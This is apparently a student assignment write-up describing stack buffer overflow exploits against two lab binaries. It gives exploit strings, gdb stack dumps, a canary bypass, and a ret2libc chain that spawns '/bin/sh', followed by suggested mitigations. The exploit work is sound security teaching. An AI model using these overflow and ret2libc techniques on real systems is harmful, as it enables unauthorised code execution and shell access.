Assignment 1: CS6570

Suraj R: ME19B177
Nisha K: EE18B110

Lab1_1

Why Could We Exploit the Binary:

By inspecting the file `lab1_1.c` we found that the program calls `strcpy` on the 1st command line argument. The argument is copied into a buffer of length 12 without checking for the length of the input string. This allows us to overflow the buffer and perform stack smashing.

Approach:

We used GDB to debug the code at the start of the welcome function by setting a breakpoint. We used the `backtrace` command to know the current return address of the stack frame. We used the

After this we inspected the stack by printing the next 32 words from $esp. Based on this, we were able to find the memory address of the canary and the return address.

We then crafted the appropriate exploit string to fill up the buffer and overwrite the return address, while rewriting the canary.

Exploit String:

```
#! /usr/bin/python
#      buffer     canary   locals     address of exploit   exit+3
print(12 * 'a' + "XWVU" + 12 * 'b' + "\x7c\x88\x04\x08" + "\x03\xe3\x04\x08")
```

Stack Screenshots:

Before Buffer overflow:

```
(gdb) bt
#0  welcome (name=0xffffd2a4 ... ) at lab1_1.c:16
#1  0x08048927 in main (argc=2, argv=0xffffd0a4) at lab1_1.c:33
(gdb) x/16xw $esp
0xffffcf90: 0xffffd0a4  0xffffd0b0  0x00000001  0x55565758
0xffffcfa0: 0x00000002  0xffffd0a4  0xffffcfc8  0x08048927
0xffffcfb0: 0xffffd2a4  0x00000060  0x00000000  0x00000002
0xffffcfc0: 0x080ea070  0xffffcfe0  0x00000000  0x08048b61
(gdb)
```

Here at *0xffffcf9c* we can see the canary and at *0xffffcfac* we can see the functions return address.

After buffer overflow:

```
(gdb) x/16xw $esp
0xffffcf90: 0x61616161  0x61616161  0x61616161  0x55565758
0xffffcfa0: 0x62626262  0x62626262  0x62626262  0x0804887c
0xffffcfb0: 0x0804e303  0x00000000  0x00000000  0x00000002
0xffffcfc0: 0x080ea070  0xffffcfe0  0x00000000  0x08048b61
(gdb) bt
#0  welcome (name=0x804e303 <exit+3> ... ) at lab1_1.c:18
#1  0x0804887c in frame_dummy ()
#2  0x00000000 in ?? ()
(gdb)
```

Here we can see that the function's return address has been replaced with that of the exploit function and the canary is still intact. We also added an additional return address to the stack to call the function `exit`. The remaining space is filled with *0x61* and *0x62*.

Exiting Successfully:

We were able to successfully call the exploit function. However, after that the program would segfault and exit uncleanly. To prevent this and reduce the chance of detection of the exploit, we inserted the address of the `exit` function after the address of the `exploit` function. This allowed that to be called when the program returned from the exploit function, and allowed a clean exit.

Note: the address of the `exit` function contains a zero byte and thus cannot be completely written to the stack by the buffer overflow method. By inspecting the disassembly of the function, we saw that the first instruction of `exit` can be skipped. Thus we put the address of `exit+3` on the stack and allowed our program to do a clean exit.

What can be Done to Secure the Binary:

- We can use `strncpy` to copy just the first 11 bytes of the input argument.
- We can enable stack protection in the compilation process.
- If we compile as a position independent executable (PIE), we may be able to enable ASLR.

Output

```
esctf@osboxes:~/sse/assis/a1/lab1_1$ ./lab1_1 $(./get_exp.py); echo $?
Welcome group aaaaaaaaaaaaXWVUbbbbbbbbbbbb|◆▯▯◆, j▯▯p◆t$▯▯◆◆◆◆f◆f◆f◆f◆f◆f◆◆UW1◆VS
◆▯▯
Exploit succesfull...
0
esctf@osboxes:~/sse/assis/a1/lab1_1$
```

Lab1_2

Why Could We Exploit the Binary:

As the binary has a call to the function `system`, we know that *libc* will be loaded. Now we can invoke `system` with an argument of our choice ("/bin/sh") by finding its address.

As there is a `strcpy` of a large input string (given by us) copied to a smaller string of size 16. We can overflow the buffer and utilize stack smashing to change the return address of `get_name` to system function, set the arguments, and add exit function call after that.

Approach:

First we find how many bytes of input will overwrite the return address. (Note: by inspecting the binary we can see that the canary is set but not checked),
We find after 32 bytes there is a return address.
So Inp = 32 * 'a'

Finding system and exit function address
In gdb we find the system and exit function address. We break at the main and use `print` to find the function address.

Change input string such that it changes the return address of the stack to System function and the next is exit address.
Inp = 32 * 'a' + /*system address*/ + /*exit address*/

Find an address where the /bin/sh string is there.
So use `info proc map` and find the address space range of *libc*.
Then we search for the string /bin/sh in this address space. (We can use the `strings` command on */lib32/libc-2.23.so*)
Finally, we insert the string's address at 4 bytes after the return address.

Inp = 32 * 'a' + /*system address*/ + /*exit address*/ + /*/bin/sh address */

Important Addresses:

Address of the `system` function
0xf7e3f950

Address of the `exit` function
0xf7e337c0

Address of string containing /bin/sh
0xf7f5e12b

(gdb) info proc map
process 2638
Mapped address spaces:

Start Addr	End Addr	Size	Offset	objfile
0x8048000	0x8049000	0x1000	0x0	/home/esctf/sse/assis/a1/lab1_2/lab1_2
0x8049000	0x804a000	0x1000	0x0	/home/esctf/sse/assis/a1/lab1_2/lab1_2
0x804a000	0x804b000	0x1000	0x1000	/home/esctf/sse/assis/a1/lab1_2/lab1_2
0xf7e04000	0xf7e05000	0x1000	0x0	
0xf7e05000	0xf7fb2000	0x1ad000	0x0	/lib32/libc-2.23.so
0xf7fb2000	0xf7fb3000	0x1000	0x1ad000	/lib32/libc-2.23.so
0xf7fb3000	0xf7fb5000	0x2000	0x1ad000	/lib32/libc-2.23.so
0xf7fb5000	0xf7fb6000	0x1000	0x1af000	/lib32/libc-2.23.so

```
        0xf7fb6000 0xf7fb9000    0x3000       0x0
        0xf7fd3000 0xf7fd4000    0x1000       0x0
        0xf7fd4000 0xf7fd7000    0x3000       0x0 [vvar]
        0xf7fd7000 0xf7fd9000    0x2000       0x0 [vdso]
        0xf7fd9000 0xf7ffc000   0x23000       0x0 /lib32/ld-2.23.so
        0xf7ffc000 0xf7ffd000    0x1000   0x22000 /lib32/ld-2.23.so
        0xf7ffd000 0xf7ffe000    0x1000   0x23000 /lib32/ld-2.23.so
        0xfffdd000 0xffffe000   0x21000       0x0 [stack]
(gdb)
```

Exploit String:

Inp = 32 * 'a' + /*system address*/ + /*exit address*/ + /*/bin/sh address */
Inp = 32 * 'a' + /*system address*/ + /*bin/sh*/ + /*exit */

```python
inp=32*"a" + "\x50\xf9\xe3\xf7" + "\xc0\x37\xe3\xf7" + "\x2b\xe1\xf5\xf7"
print(inp)
```

Stack Screenshots:

Stack before the `strcpy`

```
(gdb) x/16x $esp
0xffffcfc0: 0xffffffff  0x0000002f  0xf7e11dc8  0xf7fd31a8
0xffffcfd0: 0x0000c000  0xf7fb5000  0xf7fb3244  0xf7e1d0fc
0xffffcfe0: 0x00000002  0x00000000  0xffffd008  0x080484f7
0xffffcff0: 0xffffd2b1  0xffffd0b4  0xffffd0c0  0x08048531
```

Stack after buffer overflow

```
(gdb) x/16x $esp
0xffffcfc0: 0xffffffff  0x0000002f  0xf7e11dc8  0x61616161
0xffffcfd0: 0x61616161  0x61616161  0x61616161  0x61616161
0xffffcfe0: 0x61616161  0x61616161  0x61616161  0xf7e3f950
0xffffcff0: 0xf7e337c0  0xf7f5e12b  0xffffd000  0x08048531
```

What can be Done to Secure the Binary:

- We can use `strncpy` to copy just the first 15 bytes of the input argument.
- Utilize canaries to protect the stack.
- We can enable stack protection in the compilation process.
- We can enable ASLR (Address Space Layout Randomization) such that each time the program executes the base address of the stack and the loaded libc changes.

Output